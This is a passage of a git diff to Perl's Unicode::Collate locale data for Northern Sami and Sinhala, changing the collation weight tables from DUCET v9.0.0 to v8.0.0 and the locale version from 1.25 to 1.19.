a/cpan/Unicode-Collate/Collate/Locale/se.pl +++ b/cpan/Unicode-Collate/Collate/Locale/se.pl @@ -1,150 +1,150 @@ +{ - locale_version => 1.25, + locale_version => 1.19, # eng, g-stroke, t-stroke don't require tailoring - entry => <<'ENTRY', # for DUCET v9.0.0 -00E1 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0301 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0341 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0301 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0341 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE -010D ; [.1C8C.0020.0002] # LATIN SMALL LETTER C WITH CARON -0063 030C ; [.1C8C.0020.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C8C.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0043 030C ; [.1C8C.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0292 ; [.1C8D.0020.0002] # LATIN SMALL LETTER EZH -01B7 ; [.1C8D.0020.0008] # LATIN CAPITAL LETTER EZH -01EF ; [.1C8E.0020.0002] # LATIN SMALL LETTER EZH WITH CARON -0292 030C ; [.1C8E.0020.0002] # LATIN SMALL LETTER EZH WITH CARON -01EE ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER EZH WITH CARON -01B7 030C ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER EZH WITH CARON -0111 ; [.1CA9.0020.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1CA9.0020.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1CA9.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1CA9.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE -00F0 ; [.1CA9.0021.0002] # LATIN SMALL LETTER ETH -1DD9 ; [.1CA9.0021.0002] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1CA9.0021.0008] # LATIN CAPITAL LETTER ETH -01E7 ; [.1D00.0020.0002] # LATIN SMALL LETTER G WITH CARON -0067 030C ; [.1D00.0020.0002] # LATIN SMALL LETTER G WITH CARON -01E6 ; [.1D00.0020.0008] # LATIN CAPITAL LETTER G WITH CARON -0047 030C ; [.1D00.0020.0008] # LATIN CAPITAL LETTER G WITH CARON -01E9 ; [.1D76.0020.0002] # LATIN SMALL LETTER K WITH CARON -006B 030C ; [.1D76.0020.0002] # LATIN SMALL LETTER K WITH CARON -01E8 ; [.1D76.0020.0008] # LATIN CAPITAL LETTER K WITH CARON -004B 030C ; [.1D76.0020.0008] # LATIN CAPITAL LETTER K WITH CARON -0144 ; [.1DD8.0021.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0301 ; [.1DD8.0021.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0341 ; [.1DD8.0021.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DD8.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0301 ; [.1DD8.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0341 ; [.1DD8.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE -00F1 ; [.1DD8.0022.0002] # LATIN SMALL LETTER N WITH TILDE -006E 0303 ; [.1DD8.0022.0002] # LATIN SMALL LETTER N WITH TILDE -00D1 ; [.1DD8.0022.0008] # LATIN CAPITAL LETTER N WITH TILDE -004E 0303 ; [.1DD8.0022.0008] # LATIN CAPITAL LETTER N WITH TILDE -0161 ; [.1E94.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E94.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E94.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E94.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -00FE ; [.1E9A.0021.0002] # LATIN SMALL LETTER THORN -00DE ; [.1E9A.0021.0008] # LATIN CAPITAL LETTER THORN -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0171 ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -017E ; [.1F92.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1F92.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F92.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1F92.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -00F8 ; [.1F93.0020.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F93.0020.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F93.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F93.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F93.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F93.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -0153 ; [.1F93.0021.0002] # LATIN SMALL LIGATURE OE -0152 ; [.1F93.0021.0008] # LATIN CAPITAL LIGATURE OE -00E6 ; [.1F94.0020.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F94.0020.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F94.0020.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F94.0020.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F94.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F94.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F94.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F94.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -00E5 ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F96.0020.0008] # ANGSTROM SIGN -01FB ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -0227 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DOT ABOVE -0061 0307 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DOT ABOVE -0226 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DOT ABOVE -0041 0307 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DOT ABOVE -00E4 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00E3 ; [.1F97.0021.0002] # LATIN SMALL LETTER A WITH TILDE -0061 0303 ; [.1F97.0021.0002] # LATIN SMALL LETTER A WITH TILDE -00C3 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER A WITH TILDE -0041 0303 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER A WITH TILDE -00F6 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -0151 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -006F 030B ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -004F 030B ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -00F5 ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH TILDE -006F 0303 ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH TILDE -00D5 ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH TILDE -004F 0303 ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH TILDE -1E4D ; [.1F98.0022.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE -1E4C ; [.1F98.0022.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE -022D ; [.1F98.0022.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON -022C ; [.1F98.0022.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON -1E4F ; [.1F98.0022.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS -1E4E ; [.1F98.0022.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS -1EE1 ; [.1F98.0022.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE -1EE0 ; [.1F98.0022.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE -00F4 ; [.1F98.0023.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -006F 0302 ; [.1F98.0023.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -00D4 ; [.1F98.0023.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -004F 0302 ; [.1F98.0023.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -1ED3 ; [.1F98.0023.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED2 ; [.1F98.0023.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED1 ; [.1F98.0023.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED0 ; [.1F98.0023.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED7 ; [.1F98.0023.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE -1ED6 ; [.1F98.0023.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE -1ED5 ; [.1F98.0023.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED4 ; [.1F98.0023.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED9 ; [.1F98.0023.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1F98.0023.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW -01EB ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH OGONEK -006F 0328 ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH OGONEK -01EA ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH OGONEK -004F 0328 ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH OGONEK + entry => <<'ENTRY', # for DUCET v8.0.0 +00E1 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0301 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0341 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0301 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0341 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE +010D ; [.1C07.0020.0002] # LATIN SMALL LETTER C WITH CARON +0063 030C ; [.1C07.0020.0002] # LATIN SMALL LETTER C WITH CARON +010C ; [.1C07.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0043 030C ; [.1C07.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0292 ; [.1C08.0020.0002] # LATIN SMALL LETTER EZH +01B7 ; [.1C08.0020.0008] # LATIN CAPITAL LETTER EZH +01EF ; [.1C09.0020.0002] # LATIN SMALL LETTER EZH WITH CARON +0292 030C ; [.1C09.0020.0002] # LATIN SMALL LETTER EZH WITH CARON +01EE ; [.1C09.0020.0008] # LATIN CAPITAL LETTER EZH WITH CARON +01B7 030C ; [.1C09.0020.0008] # LATIN CAPITAL LETTER EZH WITH CARON +0111 ; [.1C24.0020.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C24.0020.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C24.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C24.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE +00F0 ; [.1C24.0021.0002] # LATIN SMALL LETTER ETH +1DD9 ; [.1C24.0021.0002] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C24.0021.0008] # LATIN CAPITAL LETTER ETH +01E7 ; [.1C7B.0020.0002] # LATIN SMALL LETTER G WITH CARON +0067 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER G WITH CARON +01E6 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER G WITH CARON +0047 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER G WITH CARON +01E9 ; [.1CF1.0020.0002] # LATIN SMALL LETTER K WITH CARON +006B 030C ; [.1CF1.0020.0002] # LATIN SMALL LETTER K WITH CARON +01E8 ; [.1CF1.0020.0008] # LATIN CAPITAL LETTER K WITH CARON +004B 030C ; [.1CF1.0020.0008] # LATIN CAPITAL LETTER K WITH CARON +0144 ; [.1D53.0021.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0301 ; [.1D53.0021.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0341 ; [.1D53.0021.0002] # LATIN SMALL LETTER N WITH ACUTE +0143 ; [.1D53.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0301 ; [.1D53.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0341 ; [.1D53.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE +00F1 ; [.1D53.0022.0002] # LATIN SMALL LETTER N WITH TILDE +006E 0303 ; [.1D53.0022.0002] # LATIN SMALL LETTER N WITH TILDE +00D1 ; [.1D53.0022.0008] # LATIN CAPITAL LETTER N WITH TILDE +004E 0303 ; [.1D53.0022.0008] # LATIN CAPITAL LETTER N WITH TILDE +0161 ; [.1E0F.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1E0F.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +00FE ; [.1E15.0021.0002] # LATIN SMALL LETTER THORN +00DE ; [.1E15.0021.0008] # LATIN CAPITAL LETTER THORN +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0171 ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +017E ; [.1F0D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +007A 030C ; [.1F0D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +017D ; [.1F0D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +005A 030C ; [.1F0D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +00F8 ; [.1F0E.0020.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F0E.0020.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F0E.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F0E.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F0E.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F0E.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +0153 ; [.1F0E.0021.0002] # LATIN SMALL LIGATURE OE +0152 ; [.1F0E.0021.0008] # LATIN CAPITAL LIGATURE OE +00E6 ; [.1F0F.0020.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F0F.0020.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F0F.0020.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F0F.0020.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F0F.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F0F.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F0F.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F0F.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +00E5 ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F11.0020.0008] # ANGSTROM SIGN +01FB ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +0227 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DOT ABOVE +0061 0307 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DOT ABOVE +0226 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DOT ABOVE +0041 0307 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DOT ABOVE +00E4 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00E3 ; [.1F12.0021.0002] # LATIN SMALL LETTER A WITH TILDE +0061 0303 ; [.1F12.0021.0002] # LATIN SMALL LETTER A WITH TILDE +00C3 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER A WITH TILDE +0041 0303 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER A WITH TILDE +00F6 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +0151 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +006F 030B ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +004F 030B ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +00F5 ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH TILDE +006F 0303 ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH TILDE +00D5 ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH TILDE +004F 0303 ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH TILDE +1E4D ; [.1F13.0022.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE +1E4C ; [.1F13.0022.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE +022D ; [.1F13.0022.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON +022C ; [.1F13.0022.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON +1E4F ; [.1F13.0022.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS +1E4E ; [.1F13.0022.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS +1EE1 ; [.1F13.0022.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE +1EE0 ; [.1F13.0022.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE +00F4 ; [.1F13.0023.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +006F 0302 ; [.1F13.0023.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +00D4 ; [.1F13.0023.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +004F 0302 ; [.1F13.0023.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +1ED3 ; [.1F13.0023.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED2 ; [.1F13.0023.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED1 ; [.1F13.0023.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED0 ; [.1F13.0023.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED7 ; [.1F13.0023.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE +1ED6 ; [.1F13.0023.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE +1ED5 ; [.1F13.0023.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED4 ; [.1F13.0023.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED9 ; [.1F13.0023.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1F13.0023.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW +01EB ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH OGONEK +006F 0328 ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH OGONEK +01EA ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH OGONEK +004F 0328 ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH OGONEK ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/si.pl b/cpan/Unicode-Collate/Collate/Locale/si.pl index 4dd15667d402..b67dc89f18e6 100644 --- a/cpan/Unicode-Collate/Collate/Locale/si.pl +++ b/cpan/Unicode-Collate/Collate/Locale/si.pl @@ -1,10 +1,10 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0D82 ; [.28E1.0020.0002][.FFF1.0000.0000] # SINHALA SIGN ANUSVARAYA -0D83 ; [.28E1.0020.0002][.FFF2.0000.0000] # SINHALA SIGN VISARGAYA -0D96 ; [.28E1.0020.0002][.FFF0.0000.0000] # SINHALA LETTER AUYANNA -0DA5 ; [.28EC.0020.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA -0DA4 ; [.28ED.0020.0002] # SINHALA LETTER TAALUJA NAASIKYAYA + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0D82 ; [.2853.0020.0002][.FFF1.0000.0000] # SINHALA SIGN ANUSVARAYA +0D83 ; [.2853.0020.0002][.FFF2.0000.0000] # SINHALA SIGN VISARGAYA +0D96 ; [.2853.0020.0002][.FFF0.0000.0000] # SINHALA LETTER AUYANNA +0DA5 ; [.285E.0020.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA +0DA4 ; [.285F.0020.0002] # SINHALA LETTER TAALUJA NAASIKYAYA ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/si_dict.pl b/cpan/Unicode-Collate/Collate/Locale/si_dict.pl index 9275ad712216..140de585e8ee 100644 --- a/cpan/Unicode-Collate/Collate/Locale/si_dict.pl +++ b/cpan/Unicode-Collate/Collate/Locale/si_dict.pl @@ -1,9 +1,9 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0D82 ; [.28E1.0020.0002][.FFF1.0000.0000] # SINHALA SIGN ANUSVARAYA -0D83 ; [.28E1.0020.0002][.FFF2.0000.0000] # SINHALA SIGN VISARGAYA -0D96 ; [.28E1.0020.0002][.FFF0.0000.0000] # SINHALA LETTER AUYANNA -0DA5 ; [.28EA.0020.0002][.291C.0020.0002][.28EC.0021.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0D82 ; [.2853.0020.0002][.FFF1.0000.0000] # SINHALA SIGN 